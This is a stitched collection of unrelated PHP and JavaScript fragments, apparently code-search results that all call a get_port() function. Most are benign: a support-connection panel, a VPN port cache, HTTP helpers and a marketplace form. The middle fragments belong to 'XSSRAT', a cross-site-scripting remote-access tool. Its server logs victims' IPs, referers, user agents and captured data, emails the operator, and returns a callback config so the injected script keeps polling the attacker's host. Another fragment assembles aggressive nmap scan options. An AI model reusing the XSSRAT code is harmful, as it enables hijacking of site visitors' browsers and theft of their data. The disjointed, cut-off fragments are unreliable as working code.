function display_content() { if (established()) { echo '<p><div style="text-align: center"><font color="green">Your server is now connected to:</font></div></p> <div style="text-align: center"><font color="green"><b>rssh.mandriva.com</b></font></div> <p><div style="text-align: center"><font color="green">(remote port: <b>' . get_port() . '</b>)</font></div></p> <div style="text-align: center"><a class="btn btn-info btn-small" href="' . urlStrRedirect("support/support/disconnect") . '">' . _('Disconnect') . '</a></div>'; } else { echo '<div style="text-align: center"><a class="btn btn-info btn-small" href="' . urlStrRedirect("support/support/connect") . '">' . _('Connect to support') . '</a></div>'; } if (collector_in_progress()) { echo '<p><div style="text-align: center"><img src="modules/msc/graph/images/status/inprogress.gif" alt=""/></div></p>'; } else { if (info_collected()) { echo '<p><div style="text-align: center"><a class="btn btn-info btn-small" href="' . urlStrRedirect("support/support/get_file", array('path' => get_archive_link())) . '">' . _('Download archive') . '</a></div></p>'; } else { echo '<p><div style="text-align: center"><a class="btn btn-info btn-small" href="' . urlStrRedirect("support/support/collect") . '">' . _('Extract log and config files') . '</a></div></p>'; } } }
function get_args($argv, $port, $team, $host) { $i = 0; while ($argv[$i]) { if ($argv[$i] == "-n" && isset($argv[$i + 1]) == TRUE) { if (($team = get_team_name($argv[$i + 1])) == -1) { return FALSE; } } if ($argv[$i] == "-p" && isset($argv[$i + 1]) == TRUE) { if (($port = get_port($argv[$i + 1])) == -1) { return FALSE; } } if ($argv[$i] == "-h" && isset($argv[$i + 1])) { if (($host = get_host($argv[$i + 1])) == -1) { return FALSE; } } $i++; } return TRUE; }
$res = $project->getProjectByTicket($ticket); if ($res) { $pmd->ticket = $ticket; $pmd->p_id = $project->id; $pmd->clientIP = htmlspecialchars(quotes($ip)); $pmd->time = $curtime; $pmd->status = 1; $pmd->ec = $ec; $pmd->userAgent = htmlspecialchars(quotes($useragent)); $pmd->Referer = htmlspecialchars(quotes($referer)); $pmd->Data = utf8_decode(urldecode($data)); $pmd_id = $pmd->addPMD(); } } $email = $project->getMailByTiket($ticket); if ($email) { //sea maill $saemail = new SaeMail(); $message = "亲爱的用户,你有新用户上线了。\r\n\t\t\t\t\t\t\t\r\n\tIP:" . $pmd->clientIP . "\r\n\tReferer:" . $pmd->Referer . "\r\n\tuserAgent:" . $pmd->userAgent . "\r\n\t\r\n\t本邮件来自于: http://xssrat.sinaapp.com\r\n\tMak3 hack m0r3 c00l!"; $ret = $saemail->quickSend($email, 'XSSRAT - 新用户上线', $message, MAIL_ACCOUNT, MAIL_PASS); if ($ret === false) { $log->error($mail->errmsg()); } } } $db->closeDB(); } $net_config = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:0};\n"; $log->info("Time:" . $curtime . " IP:" . $ip . " UA:" . $useragent . " RE:" . $referer . " DATA:" . $data); die($net_config); }
function get_domain($url) { // Remove protocol from $url //$url = str_replace("http://", "", $url); //$url = str_replace("https://", "", $url); $url = str_replace(get_protocol($url), "", $url); //remove www. as it is a default 3rd level domain that will usually be added if not present. $url = str_replace("www.", "", $url); $url = str_replace(":" . get_port($url), "", $url); // Remove page and directory references if (stristr($url, "/")) { $url = substr($url, 0, strpos($url, "/")); } return $url; }
<head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, minimum-scale=1, maximum-scale=1, user-scalable=no"> <title>求购</title> <meta name="description" content=""> <meta name="keywords" content=""> <link rel="stylesheet" type="text/css" href="/statics/css/yumReset.css" /> <link rel="stylesheet" type="text/css" href="/statics/css/yumPage.css" /> <link rel="stylesheet" type="text/css" href="/com/icomoon/style.css" /> </head> <?php session_start(); include_once 'mcr_sc_fns.php'; $portnum = 0; $port_array = get_port($portnum); $stuffnum = 0; $stuff_array = get_stuff($stuffnum); ?> <body> <?php if (isset($_SESSION['user'])) { //用户或管理员登录后才可以发表信息 ?> <header class="header"> <a href="javascript:history.back();"><i class="icon-arrow-back"></i></a> <h2>求购</h2> <a href="index.php"><i class="icon-home"></i></a> </header> <form class="push" action="savebuy.php" method ="post" onSubmit="return chkinput(this)"> <dl class="panel-body">
/** * having trouble reading status.txt right after connection so I am doing it myself ... grr * @global object $_files */ function VPN_get_port() { global $_files; $cache_file = '/pia/cache/webui-port.txt'; //check if we are connected yet $session_status = VPN_sessionlog_status(); if ($session_status[0] != 'connected') { return 'not connected yet'; } if (supports_forwarding(trim($_SESSION['connecting2'])) === false) { return false; } //check if the port cache should be considered old $session_settings_timeout = strtotime('-5 minutes'); //time until session expires if (array_key_exists('PIA_port_timestamp', $_SESSION) === true) { //validate time if ($_SESSION['PIA_port_timestamp'] < $session_settings_timeout) { if (array_key_exists('PIA_port', $_SESSION) === true) { unset($_SESSION['PIA_port']); //time expired } } } else { //does not exist so destroy PIA_port just to be save if (array_key_exists('PIA_port', $_SESSION) === true) { unset($_SESSION['PIA_port']); } } //get fresh port info if (array_key_exists('PIA_port', $_SESSION) !== true) { //read from cache file or get fresh info if (file_exists($cache_file) === true) { $cont = explode('|', $_files->readfile($cache_file)); //cont(0) is timestamp of creation //cont(1) contains the port number $expires = strtotime('-96 hours'); //time until session expires if (trim($cont[0]) < $expires) { $pia_ret = get_port(); if ($pia_ret !== false && array_key_exists('port', $pia_ret)) { settype($pia_ret['port'], 'integer'); } } else { $pia_ret['port'] = (int) trim($cont[1]); } } else { $pia_ret = get_port(); if ($pia_ret !== false && array_key_exists('port', $pia_ret)) { settype($pia_ret['port'], 'integer'); } } if (is_int($pia_ret['port']) === true && $pia_ret['port'] > 0 && $pia_ret['port'] < 65536) { $_SESSION['PIA_port'] = $pia_ret['port']; //needs to be refreshed later on $_SESSION['PIA_port_timestamp'] = strtotime('now'); //update cache $txt = strtotime('now') . '|' . $pia_ret['port']; $_files->writefile($cache_file, $txt); } elseif (is_array($pia_ret) === false && $pia_ret === false) { if (supports_forwarding($_SESSION['connecting2']) === true) { //unable to get port info - PIA may be down $_SESSION['PIA_port'] = "ERROR: getting port info. is the website up?"; $_SESSION['PIA_port_timestamp'] = strtotime('now'); } else { $_SESSION['PIA_port'] = ""; $_SESSION['PIA_port_timestamp'] = strtotime('now'); } } else { return false; } } return $_SESSION['PIA_port']; }
} else { $javascript = false; } break; case "on": $javascript = true; break; case "off": $javascript = false; break; } $log_file = _ABSPATH . "/logs/portscanmenow-" . $client_ip . '-' . $uniq . '.log'; $scantype = import_var('SCANTYPE', 'G'); $verbose = import_var('VERBOSE', 'G'); $port = import_var('PORT', 'G'); $port = get_port($port); $verbose = get_verbose($verbose); if ($scantype == "A") { if ($port != "1-65535") { $hdrtext = "Performing Aggressive Port {$port} Nmap Port Scan"; $logtype = "Port {$port} Aggressive Nmap Scan"; } else { $hdrtext = "Performing Aggressive 65k Nmap Port Scan"; $logtype = "Aggressive 65k Nmap Scan"; } $scanlength = "1 minute"; $options = "-sS -p {$port} -A -P0 -T4 --osscan_limit --osscan_guess --host_timeout 40m --max-retries 0"; } else { if ($port != "1-65535") { $hdrtext = "Performing Port {$port} Nmap Port Scan"; $logtype = "Port {$port} Nmap Scan";
function post_http($url, $data, $timeout=10) { global $ProxyIP, $ProxyPort, $ProxyUser, $ProxyPasswd, $HttpUser, $HttpPasswd; // 無proxy if( $ProxyIP == "") { $tmp = parse_url($url) ; $server = $tmp["host"] ; $port = get_port($url) ; $path = $tmp["path"]. (($tmp["query"] == "") ? "" : "?". $tmp["query"]) ; $host = $tmp["host"] ; } // 有proxy else { $tmp = parse_url($url) ; $server = $ProxyIP ; $port = $ProxyPort ; $path = $url ; $host = $tmp["host"] ; if ( $ProxyUser != "" ) $ext2="Proxy-Authorization: Basic ".md5_encode($ProxyUser.":".$ProxyPasswd); } if ( $HttpUser != "" ) { $ext3="Authorization: Basic ".md5_encode($HttpUser.":".$HttpPasswd); } $request = "POST $path HTTP/1.1\r\n" ; $request .= ($ext2 == "") ? "" : "$ext2\r\n" ; $request .= ($ext3 == "") ? "" : "$ext3\r\n" ; $request .= "Host: $host\r\n"; $request .= "Cache-Control: no-cache\r\n"; $request .= "Connection: Keep-Alive\r\n"; $request .= "Accept-Language: zh-tw\r\n"; $request .= "Accept: */*\r\n"; $request .= "Referer: $url\r\n"; $request .= "User-Agent: Mozilla/40 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $length=strlen($data); $request .= "Content-Length: ".$length."\r\n\r\n"; $request .= $data."\r\n\r\n"; $fp = fsockopen ($server, $port, $errno, $errstr, $timeout) ; socket_set_blocking($fp,true); $tmp = "" ; // 連線成功 if( $fp ) { fputs($fp, $request) ; while (!feof($fp) && $fp!==false) { $buf = fread ($fp, 8192) ; $tmp .= $buf ; } fclose ($fp); $http["header"] = plib_content_parser($tmp, "", "\r\n\r\n") ; $http["body"] = plib_content_parser($tmp, "\r\n\r\n", "") ; } // 連線失敗 else { echo "Fail to connect to this host !!\n" ; $http["header"] = "" ; $http["body"] = "ConnectionFailed"; } return $http ; }
if(ua.search(MobileEsp.deviceWii) > -1) { return "Nintendo Wii"}; if(ua.search(MobileEsp.deviceNintendo) > -1) { return "Nintendo"}; if(MobileEsp.DetectXbox()) { return "Xbox"}; if(this.isLaptop()) { return "Laptop"}; if(this.isVirtualMachine()) { return "Virtual Machine"}; return 'Unknown'; } }; rat.regCmp('rat.hardware'); <?php require_once "bin/util/util.php"; $ticket = htmlspecialchars($_GET["t"], ENT_QUOTES, 'UTF-8'); $protocol = get_protocol(); $port = get_port(); $host = get_host(); $api_path = get_page_path() . "/api"; $interval = 3000; ?> rat.net = { config:{ protocol:"<?php echo $protocol; ?> ",// @String http or https port:<?php echo $port; ?> ,// @int like 80 or 8080 host:"<?php
function check_pathinfo() { $host = get_host(); $port = get_port(); $uri = strtolower(get_schema()) . '://' . get_host() . get_request_uri() . '/pathinfotest?check_path_info=1'; $content = ''; $host_addr_arr = array($host, '127.0.0.1', 'localhost'); foreach ($host_addr_arr as $host_addr) { $fp = @fsockopen($host_addr, $port, $errno, $errstr, 2); if ($fp) { $out = "GET " . $uri . " HTTP/1.1\r\n"; $out .= "Host: {$host}\r\n"; $out .= "Connection: close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp) && strlen($content) < 512) { $content .= fgets($fp, 128); } fclose($fp); } $content = preg_split("\r?\n\r?\n", $content); if (strpos($content[1], 'SUPPORT_PATHINFO') !== false) { return true; } } if (function_exists('curl_init')) { ob_start(); $fp = curl_init($uri); curl_exec($fp); curl_close($fp); $str = ob_get_contents(); ob_end_clean(); return $str == 'SUPPORT_PATHINFO' ? true : false; } else { return false; } }